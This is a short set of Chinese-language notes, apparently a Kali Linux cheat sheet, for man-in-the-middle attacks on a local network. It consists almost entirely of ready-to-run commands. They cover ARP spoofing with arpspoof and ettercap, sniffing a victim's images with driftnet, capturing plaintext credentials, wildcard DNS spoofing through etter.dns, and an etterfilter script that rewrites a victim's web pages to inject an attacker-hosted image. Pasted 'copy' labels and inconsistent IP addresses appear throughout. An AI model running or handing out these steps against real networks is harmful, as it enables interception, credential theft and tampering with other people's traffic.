目录
嗅探图片
开启网卡转发
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof 的使用方法
arpspoof -i 网卡名 -t 要欺骗的主机ip 伪装的主机ip(网关ip)
driftnet -i 网卡名 -a -d /home/kali/Pictures/
https://www.cnblogs.com/LyShark/p/10153685.html ettercap 中间人攻击
iptables -t nat -APREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
arp获取明文
echo 1 > /proc/sys/net/ipv4/ip_forward
/etc/init.d/apache2 start
ettercap -G
扫描
ettercap -Tqi eth0 -M arp:remote /// /网关ip//
arpspoof -i wlan0 -t 靶机ip 网关ip
ettercap -Tq -i wlan0
中间人攻击
0x01开启IP转发
sysctl -w net.ipv4.ip_forward=1
sysctl net.ipv4.ip_forward # 查看参数
攻击机.上启动web服务
1)开启apache
/etc/init.d/apache2 start # 启动服务
/etc/init.d/apache2 status # 查看状态
/etc/init.d/apache2 stop # 停止服务
0x03 设置Ettercap配置文件etter.dns
在/etc/ettercap目录下修改etter.dns文件
在最后添加重定向的规则
* A 192.168.138.131
* PTR 192.168.138.131
* 代表靶机访问任何网页
A记录: 将域名指向一个IPv4地址
开启Ettercap的DNS欺骗
中间人换图
kali启动apache:
service apache2 start
复制
IP地址为192.168.188.63
主目录:/var/www/html/
将图片放入主目录下,命名为test.jpg
创建filter文件:
vim /filter
复制
添加:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("src=", "img src=\"http://192.168.1.9/test.jpg\" ");
replace("SRC=", "img src=\"http://192.168.1.9/test.jpg\" ");
msg("IMG Replace Success\n");
}
复制
转换为二进制文件:
etterfilter /filter -o /filter.ef
复制
攻击:
ettercap -T -q -F /filter.ef -M ARP /目标IP///